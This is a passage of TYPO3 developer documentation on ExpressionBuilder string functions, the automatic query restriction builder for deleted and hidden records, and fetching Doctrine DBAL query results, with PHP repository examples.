    (IF(`hidden` = 0, 'page-is-visible', 'page-is-not-visible')) AS `result_field_name`
    FROM `pages`
Copied!

ExpressionBuilder::left()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
left ( string|int $length, string $value, string $asIdentifier = '')
param $length

Integer value or expression providing the length as integer

param $value

Value, identifier or expression defining the value to extract from the left

param $asIdentifier

Provide AS identifier if not empty, default: ''

Return description

Return the expression to extract defined substring from the right side.

Returns
string

Extract $length characters of $value from the left side.

Creates a LEFT("value", number_of_chars) expression for all supported database vendors except SQLite, where substring("value", start[, number_of_chars]) is used to provide a compatible expression.

ExpressionBuilder::leftPad()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
leftPad ( string $value, string|int $length, string $paddingValue, string $asIdentifier = '')
param $value

Value, identifier or expression defining the value which should be left padded

param $length

Padded length, to either fill up with $paddingValue on the left side or crop to

param $paddingValue

Padding character used to fill up if characters are missing on the left side

param $asIdentifier

Provide AS identifier if not empty, default: ''

Return description

Returns database connection platform compatible left-pad expression.

Returns
string

Left-pad the value or sub-expression result with $paddingValue, to a total length of $length.

SQLite does not support LPAD("value", length, "paddingValue"), therefore a more complex compatible replacement expression construct is created.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tt_content';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateLeftPad(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);
        // Left-pad "123" with "0" to an amount of 10 times, resulting in "0000000123"
        $expression1 = $queryBuilder->expr()->leftPad(
            $queryBuilder->quote('123'),
            10,
            '0',
        );

        // Left-pad contents of the "uid" field with "0" to an amount of 10 times, a uid=1 would return "0000000001"
        $expression2 = $queryBuilder->expr()->leftPad(
            $queryBuilder->expr()->castVarchar($queryBuilder->quoteIdentifier('uid')),
            10,
            '0',
        );

        // Sub-expression to left-pad the concated string result ("1" + "2" + "3") up to 10 times with 0, resulting in "0000000123".
        $expression3 = $queryBuilder->expr()->leftPad(
            $queryBuilder->expr()->concat(
                $queryBuilder->quote('1'),
                $queryBuilder->quote('2'),
                $queryBuilder->quote('3'),
            ),
            10,
            '0',
        );

        // Left-pad the result of sub-expression casting "1123" to a string,
        // resulting in "0000001123".
        $expression4 = $queryBuilder->expr()->leftPad(
            $queryBuilder->expr()->castVarchar('( 1123 )'),
            10,
            '0',
        );

        // Left-pad the result of sub-expression casting "1123" to a string,
        // resulting in "0000001123" being assigned to "virtual_field"
        $expression5 = $queryBuilder->expr()->leftPad(
            $queryBuilder->expr()->castVarchar('( 1123 )'),
            10,
            '0',
            'virtual_field',
        );
    }
}
Copied!

ExpressionBuilder::length()

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
length ( string $fieldName, ?string $alias = NULL)

Creates a LENGTH expression for the given field/alias.

param $fieldName

the fieldName

param $alias

the alias, default: NULL

Returns
string

The length() string function can be used to return the length of a string in bytes.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;
use TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder;
use TYPO3\CMS\Core\Database\Query\QueryBuilder;

final class MyTableRepository
{
    private const TABLE_NAME = 'tt_content';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function findFieldLongerThenZero(string $fieldName): QueryBuilder
    {
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable(self::TABLE_NAME);
        $queryBuilder->expr()->comparison(
            $queryBuilder->expr()->length($fieldName),
            ExpressionBuilder::GT,
            $queryBuilder->createNamedParameter(0, Connection::PARAM_INT),
        );
        return $queryBuilder;
    }
}
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

ExpressionBuilder::repeat()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
repeat ( string|int $numberOfRepeats, string $value, string $asIdentifier = '')
param $numberOfRepeats

Statement or value defining how often the $value should be repeated. Proper quoting must be ensured.

param $value

Value which should be repeated. Proper quoting must be ensured

param $asIdentifier

Provide AS identifier if not empty, default: ''

Return description

Returns the platform compatible statement to create the x-times repeated value

Returns
string

Create a statement to generate a value repeating defined $value for $numberOfRepeats times. This method can be used to provide the repeat number as a sub-expression or calculation.

REPEAT("value", numberOfRepeats) is used to build this expression for all database vendors except SQLite for which the compatible replacement construct expression REPLACE(PRINTF('%.' || <valueOrStatement> || 'c', '/'),'/', <repeatValue>) is used, based on REPLACE() and the built-in printf().

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'pages';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateRepeat(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);
        // Repeats "." 10 times, resulting in ".........."
        $expression1 = $queryBuilder->expr()->repeat(
            10,
            $queryBuilder->quote('.'),
        );

        // Repeats "0" 20 times and allows to access the field as "aliased_field" in query / result
        $expression2 = $queryBuilder->expr()->repeat(
            20,
            $queryBuilder->quote('0'),
            $queryBuilder->quoteIdentifier('aliased_field'),
        );

        // Repeat contents of field "table_field" 20 times and makes it available as "aliased_field"
        $expression3 = $queryBuilder->expr()->repeat(
            20,
            $queryBuilder->quoteIdentifier('table_field'),
            $queryBuilder->quoteIdentifier('aliased_field'),
        );

        // Repeate database field "table_field" the number of times that is cast to integer from the field "repeat_count_field" and make it available as "aliased_field"
        $expression4 = $queryBuilder->expr()->repeat(
            $queryBuilder->expr()->castInt(
                $queryBuilder->quoteIdentifier('repeat_count_field'),
            ),
            $queryBuilder->quoteIdentifier('table_field'),
            $queryBuilder->quoteIdentifier('aliased_field'),
        );

        // Repeats the character "." as many times as the result of the expression "7+3" (10 times)
        $expression5 = $queryBuilder->expr()->repeat(
            '(7 + 3)',
            $queryBuilder->quote('.'),
        );

        // Repeat 10 times the result of a concatenation expression (".") and make it available as "virtual_field_name"
        $expression6 = $queryBuilder->expr()->repeat(
            '(7 + 3)',
            $queryBuilder->expr()->concat(
                $queryBuilder->quote(''),
                $queryBuilder->quote('.'),
                $queryBuilder->quote(''),
            ),
            'virtual_field_name',
        );
    }
}
Copied!

ExpressionBuilder::right()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
right ( string|int $length, string $value, string $asIdentifier = '')
param $length

Integer value or expression providing the length as integer

param $value

Value, identifier or expression defining the value to extract from the left

param $asIdentifier

Provide AS identifier if not empty, default: ''

Return description

Return the expression to extract defined substring from the right side

Returns
string

Extract $length characters of $value from the right side.

Creates a RIGHT("value", length) expression for all supported database vendors except SQLite, where substring("value", start_of_string[, length]) is used to provide a compatible expression.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'pages';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateRight(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);
        // Returns the right-side 6 characters of "some-string" (result: "string")
        $expression1 = $queryBuilder->expr()->right(
            6,
            $queryBuilder->quote('some-string'),
        );

        // Returns the right-side calculated 7 characters of "some-string" (result: "-string")
        $expression2 = $queryBuilder->expr()->right(
            '(3+4)',
            $queryBuilder->quote('some-string'),
        );

        // Returns a sub-expression (casting "8" as integer) to return "g-string"
        $expression3 = $queryBuilder->expr()->right(
            $queryBuilder->expr()->castInt('(8)'),
            $queryBuilder->quote('some-very-log-string'),
        );

        // Return the right-side 23 characters from column "table_field_name"
        $expression4 = $queryBuilder->expr()->right(
            23,
            $queryBuilder->quoteIdentifier('table_field_name'),
        );
    }
}
Copied!

ExpressionBuilder::rightPad()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
rightPad ( string $value, string|int $length, string $paddingValue, string $asIdentifier = '')
param $value

Value, identifier or expression defining the value which should be right padded

param $length

Value, identifier or expression defining the padding length to fill up or crop

param $paddingValue

Padding character used to fill up if characters are missing on the right side

param $asIdentifier

Provide AS identifier if not empty, default: ''

Return description

Returns database connection platform compatible right-pad expression

Returns
string

Right-pad the value or sub-expression result with $paddingValue, to a total length of $length.

SQLite does not support RPAD("value", length, "paddingValue"), therefore a more complex compatible replacement expression construct is created.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'pages';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateRightPad(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);
        // Right-pad the string "123" up to ten times with "0", resulting in "1230000000"
        $expression1 = $queryBuilder->expr()->rightPad(
            $queryBuilder->quote('123'),
            10,
            '0',
        );

        // Right-pad the cnotents of field "uid" up to ten times with 0, for uid=1 results in "1000000000".
        $expression2 = $queryBuilder->expr()->rightPad(
            $queryBuilder->expr()->castVarchar($queryBuilder->quoteIdentifier('uid')),
            10,
            '0',
        );

        // Right-pad the results of concatenating "1" + "2" + "3" ("123") up to 10 times with 0, resulting in "1230000000"
        $expression3 = $queryBuilder->expr()->rightPad(
            $queryBuilder->expr()->concat(
                $queryBuilder->quote('1'),
                $queryBuilder->quote('2'),
                $queryBuilder->quote('3'),
            ),
            10,
            '0',
        );

        // Left-pad the result of sub-expression casting "1123" to a string,
        // resulting in "1123000000""
        $expression4 = $queryBuilder->expr()->rightPad(
            $queryBuilder->expr()->castVarchar('( 1123 )'),
            10,
            '0',
        );

        // Right-pad the string "123" up to 10 times with "0" and make the result ("1230000000") available as "virtual_field"
        $expression5 = $queryBuilder->expr()->rightPad(
            $queryBuilder->quote('123'),
            10,
            '0',
            'virtual_field',
        );
    }
}
Copied!

ExpressionBuilder::space()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
space ( string|int $numberOfSpaces, string $asIdentifier = '')
param $numberOfSpaces

Statement or value defining how often a space should be repeated. Proper quoting must be ensured.

param $asIdentifier

Provide AS identifier if not empty, default: ''

Return description

Returns the platform compatible statement to create the x-times repeated space(s).

Returns
string

Create a statement containing $numberOfSpaces space characters.

The SPACE(numberOfSpaces) expression is used for MariaDB and MySQL and ExpressionBuilder::repeat() expression as fallback for PostgreSQL and SQLite.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'pages';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateSpace(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);
        // Returns "          " (10 space characters)
        $expression1 = $queryBuilder->expr()->space(
            '10',
        );

        // Returns "          " (10 space characters) and makes available as "aliased_field"
        $expression2 = $queryBuilder->expr()->space(
            '20',
            $queryBuilder->quoteIdentifier('aliased_field'),
        );

        // Return amount of space characters based on calculation (10 spaces)
        $expression3 = $queryBuilder->expr()->space(
            '(7+2+1)',
        );

        // Return amount of space characters based on a fixed value (210 spaces) and make available as "aliased_field"
        $expression3 = $queryBuilder->expr()->space(
            '(210)',
            $queryBuilder->quoteIdentifier('aliased_field'),
        );

        // Return a space X times, where X is the contents of the field table_repeat_number_field
        $expression5 = $queryBuilder->expr()->space(
            $queryBuilder->expr()->castInt(
                $queryBuilder->quoteIdentifier('table_repeat_number_field'),
            ),
        );

        $expression6 = $queryBuilder->expr()->space(
            $queryBuilder->expr()->castInt(
                $queryBuilder->quoteIdentifier('table_repeat_number_field'),
            ),
            $queryBuilder->quoteIdentifier('aliased_field'),
        );
    }
}
Copied!

ExpressionBuilder::trim()

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
trim ( string $fieldName, \Doctrine\DBAL\Platforms\TrimMode $position = \Doctrine\DBAL\Platforms\TrimMode::UNSPECIFIED, ?string $char = NULL)

Creates a TRIM expression for the given field.

param $fieldName

Field name to build expression for

param $position

Either constant out of LEADING, TRAILING, BOTH, default: DoctrineDBALPlatformsTrimMode::UNSPECIFIED

param $char

Character to be trimmed (defaults to space), default: NULL

Returns
string

Using the ->trim() expression ensures that the fields are trimmed at the database level. The following examples give a better idea of what is possible:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;
use TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder;
use TYPO3\CMS\Core\Database\Query\QueryBuilder;

final class MyTableRepository
{
    private const TABLE_NAME = 'tt_content';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function findFieldThatIsEmptyWhenTrimmed(string $fieldName): QueryBuilder
    {
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
        $queryBuilder->expr()->comparison(
            $queryBuilder->expr()->trim($fieldName),
            ExpressionBuilder::EQ,
            $queryBuilder->createNamedParameter('', Connection::PARAM_STR),
        );
        return $queryBuilder;
    }
}
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

The call to $queryBuilder->expr()-trim() can be one of the following:

  • trim('fieldName') results in TRIM("tableName"."fieldName")
  • trim('fieldName', TrimMode::LEADING, 'x') results in TRIM(LEADING "x" FROM "tableName"."fieldName")
  • trim('fieldName', TrimMode::TRAILING, 'x') results in TRIM(TRAILING "x" FROM "tableName"."fieldName")
  • trim('fieldName', TrimMode::BOTH, 'x') results in TRIM(BOTH "x" FROM "tableName"."fieldName")

Restriction builder

Database tables in TYPO3 that can be managed in the backend have TCA definitions that specify how single fields and rows of the table should be handled and displayed by the framework.

The ctrl section of a table's TCA array specifies optional framework-internal handling of soft deletes and language overlays: For instance, when a row is deleted in the backend using the page or list module, many tables are configured to not drop that row entirely from the table, but to set a field (often deleted) for that row from 0 to 1. Similar mechanisms apply for start and end times, and to language and workspace overlays as well. See the Table properties (ctrl) chapter in the TCA reference for details on this topic.

However, these mechanisms come at a price: developers of extensions dealing with low-level queries must take care that overlaid or deleted rows are not included in the result set of a simple query.

This is where this "automatic restriction" enters the picture: The construct is created on top of native Doctrine DBAL as a TYPO3-specific extension. It automatically adds WHERE expressions that suppress rows which are marked as deleted or have exceeded their "active" lifecycle. All this is based on the TCA configuration of the affected table.

Rationale

A developer might ask why they need to do all this to themselves, and why this extra material is added on top of a low-level query layer when "just a simple query" should be fired. The construct implements some important design goals:

  • Simple: Query creation should be easy to handle without a developer having to deal too much with the tedious TCA details..
  • Cope with developer laziness: If the framework would force a developer to always add casual restrictions for every single query, this is easy to forget. We are all lazy, aren't we?
  • Security: When in doubt, it is better to show a little too little than too much. It is much better to deal with a customer complaining that some records are not displayed than to show too many records. The former is "just a bug", while the latter can easily lead to a serious privilege escalation security issue.
  • Automatic query upgrades: If a table was originally designed without a soft delete and a delete flag is later added and registered in TCA, queries executed on that table will automatically upgrade and the according deleted = 0 restriction will be added.
  • Handing over restriction details to the framework: Having the restriction expressions handled by the framework gives it the ability to change details without breaking the extension code. This may well happen in the future, and a happy little upgrade path for such cases may prove very useful later.
  • Flexibility: The class construct is designed in a way so that developers can extend or or substitute it with their own restrictions if that makes sense for modeling the domain in question.

Main construct

The restriction builder is called whenever a SELECT or COUNT query is executed using either \TYPO3\CMS\Core\Database\Query\QueryBuilder or \TYPO3\CMS\Core\Database\Connection . The QueryBuilder allows manipulation of those restrictions, while the simplified Connection class does not. When a query deals with multiple tables in a join, restrictions are added for all affected tables.

Each single restriction such as a \TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction or a \TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction is modeled as a single class that implements the \TYPO3\CMS\Core\Database\Query\Restriction\QueryRestrictionInterface . Each restriction looks up in TCA whether it should be applied. If so, the according expressions are added to the WHERE clause when compiling the final statement.

Multiple restrictions can be grouped into containers which implement the \TYPO3\CMS\Core\Database\Query\Restriction\QueryRestrictionContainerInterface .

The \TYPO3\CMS\Core\Database\Query\Restriction\DefaultRestrictionContainer is always added by default: It adds the

  • \TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\HiddenRestriction ,
  • \TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction and the
  • \TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction .

Note that this applies to all contexts in which a query is executed: It does not matter whether a query is created from a frontend, a backend, or a CLI call, they all add the DefaultRestrictionContainer unless explicitly stated otherwise by an extension developer.

Restrictions

\TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction (default)
Evaluates ['ctrl']['delete'], adds for instance AND deleted = 0 if TCA['aTable']['ctrl']['delete'] = 'deleted' is specified.
\TYPO3\CMS\Core\Database\Query\Restriction\HiddenRestriction (default)
Evaluates ['ctrl']['enablecolumns']['disabled'], adds AND hidden = 0 if hidden is specified as field name.
\TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction (default)
Evaluates ['ctrl']['enablecolumns']['starttime'], typically adds something like AND (`tt_content`.`starttime` <= 1475580240).
\TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction (default)
Evaluates ['ctrl']['enablecolumns']['endtime'].
\TYPO3\CMS\Core\Database\Query\Restriction\FrontendGroupRestriction
Evaluates ['enablecolumns']['fe_group'].
\TYPO3\CMS\Core\Database\Query\Restriction\RootlevelRestriction
Match records on root level, adds AND (`pid` = 0)
\TYPO3\CMS\Core\Database\Query\Restriction\WorkspaceRestriction
The workspace restriction limits an SQL query to only select records which are "online" and in live or current workspace.

When a restriction needs to be enforced, a restriction could implement the interface \TYPO3\CMS\Core\Database\Query\Restriction\EnforceableQueryRestrictionInterface. If a restriction implements EnforceableQueryRestrictionInterface, the following applies:

  • ->removeAll() will remove all restrictions except the ones that implement the interface EnforceableQueryRestrictionInterface.
  • ->removeByType() will remove a restriction completely, also restrictions that implement the interface EnforceableQueryRestrictionInterface.

QueryRestrictionContainer

\TYPO3\CMS\Core\Database\Query\Restriction\DefaultRestrictionContainer

Adds

  • \TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\HiddenRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction

This container is always added if not told otherwise.

\TYPO3\CMS\Core\Database\Query\Restriction\FrontendRestrictionContainer

Adds

  • \TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\HiddenRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\WorkspaceRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\FrontendGroupRestriction

This container should be added by a developer to a query when creating query statements in frontend context or when handling frontend stuff from within CLI calls.

\TYPO3\CMS\Core\Database\Query\Restriction\LimitToTablesRestrictionContainer
This restriction container applies added restrictions only to the given table aliases. See Limit restrictions to tables for more information. Enforced restrictions are treated equally to all other restrictions.

Limit restrictions to tables

With \TYPO3\CMS\Core\Database\Query\Restriction\LimitToTablesRestrictionContainer it is possible to apply restrictions to a query only for a given set of tables, or - to be precise - table aliases. Since it is a restriction container, it can be added to the restrictions of the query builder and can hold restrictions itself.

Examples

If you want to apply one or more restrictions to only one table, that is possible as follows. Let us say you have content in the tt_content table with a relation to categories. Now you want to get all records with their categories except those that are hidden. In this case, the hidden restriction should apply only to the tt_content table, not to the sys_category or sys_category_*_mm table.

EXT:some_extension/Classes/Domain/Repository/ContentRepository.php
// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()
    ->removeByType(HiddenRestriction::class)
    ->add(
        GeneralUtility::makeInstance(LimitToTablesRestrictionContainer::class)
            ->addForTables(GeneralUtility::makeInstance(HiddenRestriction::class), ['tt'])
    );
$queryBuilder->select('tt.uid', 'tt.header', 'sc.title')
    ->from('tt_content', 'tt')
    ->from('sys_category', 'sc')
    ->from('sys_category_record_mm', 'scmm')
    ->where(
        $queryBuilder->expr()->eq(
            'scmm.uid_foreign',
            $queryBuilder->quoteIdentifier('tt.uid')
        ),
        $queryBuilder->expr()->eq(
            'scmm.uid_local',
            $queryBuilder->quoteIdentifier('sc.uid')
        ),
        $queryBuilder->expr()->eq(
            'tt.uid',
            $queryBuilder->createNamedParameter($id, Connection::PARAM_INT)
        )
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool.

In addition, it is possible to restrict the complete set of restrictions of a query builder to a given set of table aliases:

EXT:some_extension/Classes/Domain/Repository/ContentRepository.php
// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()
    ->removeAll()
    ->add(GeneralUtility::makeInstance(HiddenRestriction::class));
$queryBuilder->getRestrictions()->limitRestrictionsToTables(['c2']);
$queryBuilder
    ->select('c1.*')
    ->from('tt_content', 'c1')
    ->leftJoin('c1', 'tt_content', 'c2', 'c1.parent_field = c2.uid')
    ->orWhere(
        $queryBuilder->expr()->isNull('c2.uid'),
        $queryBuilder->expr()->eq(
            'c2.pid',
            $queryBuilder->createNamedParameter(1, Connection::PARAM_INT)
        )
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Which results in:

SELECT "c1".*
  FROM "tt_content" "c1"
  LEFT JOIN "tt_content" "c2" ON c1.parent_field = c2.uid
  WHERE (("c2"."uid" IS NULL) OR ("c2"."pid" = 1))
    AND ("c2"."hidden" = 0))
Copied!

Custom restrictions

It is possible to add additional query restrictions by adding class names as key to $GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'] . These restriction objects will be added to any select query executed using the QueryBuilder.

If these added restriction objects additionally implement \TYPO3\CMS\Core\Database\Query\Restriction\EnforceableQueryRestrictionInterface and return true in the to be implemented method isEnforced(), calling $queryBuilder->getRestrictions()->removeAll() such restrictions will still be applied to the query.

If an enforced restriction must be removed, it can still be removed with $queryBuilder->getRestrictions()->removeByType(SomeClass::class).

Implementers of custom restrictions can therefore have their restrictions always enforced, or even not applied at all, by returning an empty expression in certain cases.

To add a custom restriction class, use the following snippet:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Database\Query\Restriction\CustomRestriction;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'][CustomRestriction::class] ??= [];
Copied!

Removing third party restrictions is possible, by setting the option disabled for a restriction to true in global TYPO3 configuration or ext_localconf.php of an extension:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Database\Query\Restriction\CustomRestriction;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'][CustomRestriction::class]['disabled'] = true;
Copied!

Examples

Often the default restrictions are sufficient. Nothing needs to be done in those cases.

However, many backend modules still want to show disabled records and remove the start time and end time restrictions to allow administration of those records for an editor. A typical setup from within a backend module:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\Connection;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// use TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
// SELECT `uid`, `bodytext` FROM `tt_content` WHERE (`pid` = 42) AND (`tt_content`.`deleted` = 0)
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
// Remove all restrictions but add DeletedRestriction again
$queryBuilder
    ->getRestrictions()
    ->removeAll()
    ->add(GeneralUtility::makeInstance(DeletedRestriction::class));
$result = $queryBuilder
    ->select('uid', 'bodytext')
    ->from('tt_content')
    ->where($queryBuilder->expr()->eq(
        'pid',
        $queryBuilder->createNamedParameter($pid, Connection::PARAM_INT)
    ))
    ->executeQuery()
    ->fetchAllAssociative(();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

The DeletedRestriction should be kept in almost all cases. Usually, the only extension that dismisses that flag is the recycler module to list and resurrect deleted records. Any object implementing the QueryRestrictionInterface can be given to ->add(). This allows extensions to deliver own restrictions.

An alternative to the recommended way of first removing all restrictions and then adding needed ones again (using ->removeAll(), then ->add()) is to kick specific restrictions with a call to ->removeByType():

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// use TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction
// use TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction
// Remove starttime and endtime, but keep hidden and deleted
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->getRestrictions()
    ->removeByType(StartTimeRestriction::class)
    ->removeByType(EndTimeRestriction::class);
Copied!

Read how to correctly instantiate a query builder with the connection pool.

In the frontend it is often needed to swap the DefaultRestrictionContainer with the FrontendRestrictionContainer:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Database\Query\Restriction\FrontendRestrictionContainer
// Remove default restrictions and add list of default frontend restrictions
$queryBuilder->setRestrictions(GeneralUtility::makeInstance(FrontendRestrictionContainer::class));
Copied!

Note that ->setRestrictions() resets any previously specified restrictions. Any class instance implementing QueryRestrictionContainerInterface can be given to ->setRestrictions(). This allows extensions to deliver and use an custom set of restrictions for own query statements if needed.

Result

A \Doctrine\DBAL\Result object is returned by QueryBuilder->executeQuery() for ->select() and ->count() query types, and by Connection->select() and Connection->count() calls.

The object represents a query result set and has methods to fetch single rows with ->fetchAssociative() or to fetch all rows as an array with ->fetchAllAssociative().

fetchAssociative()

This method fetched the next row from the result. It is usually used in while() loops. This is the recommended way of accessing the result in most use cases.

Typical example:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection
// Fetch all records from tt_content on page 42
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$result = $queryBuilder
    ->select('uid', 'bodytext')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'pid',
            $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
        )
    )
  ->executeQuery();

while ($row = $result->fetchAssociative()) {
    // Do something useful with that single $row
}
Copied!

Read how to correctly instantiate a query builder with the connection pool.

->fetchAssociative() returns an array reflecting one result row with field/value pairs in one call and retrieves the next row with the next call. It returns false when no more rows can be found.

fetchAllAssociative()

This method returns an array containing all rows of the result set by internally implementing the same while loop as above. Using that method saves some precious code characters, but is more memory intensive if the result set is large and contains many rows and data, since large arrays are carried around in PHP:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// Fetch all records from tt_content on page 42
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$rows = $queryBuilder
    ->select('uid', 'bodytext')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'pid',
            $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
        )
    )
    ->executeQuery()
    ->fetchAllAssociative();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

fetchOne()

The method returns a single column from the next row of a result set, other columns from this result row are discarded. It is especially handy for QueryBuilder->count() queries:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// Get the number of tt_content records on pid 42 into variable $numberOfRecords
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$numberOfRecords = $queryBuilder
    ->count('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'pid',
            $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
        )
    )
    ->executeQuery()
    ->fetchOne();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

rowCount()

This method returns the number of rows affected by the last execution of this statement. Use this method instead of counting the number of records in a ->fetchAssociative() loop manually.

Reuse prepared statement

Doctrine DBAL usually prepares a statement first and then executes it with the given parameters. The implementation of prepared statements depends on the particular database driver. A driver that does not implement prepared statements properly falls back to a direct execution of a given query.

There is an API that allows to make real use of prepared statements. This is handy when the same query is executed over and over again with different arguments. The example below prepares a statement for the pages table and executes it twice with different arguments.

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('pages');
$statement = $queryBuilder
    ->select('uid')
    ->from('pages')
    ->where(
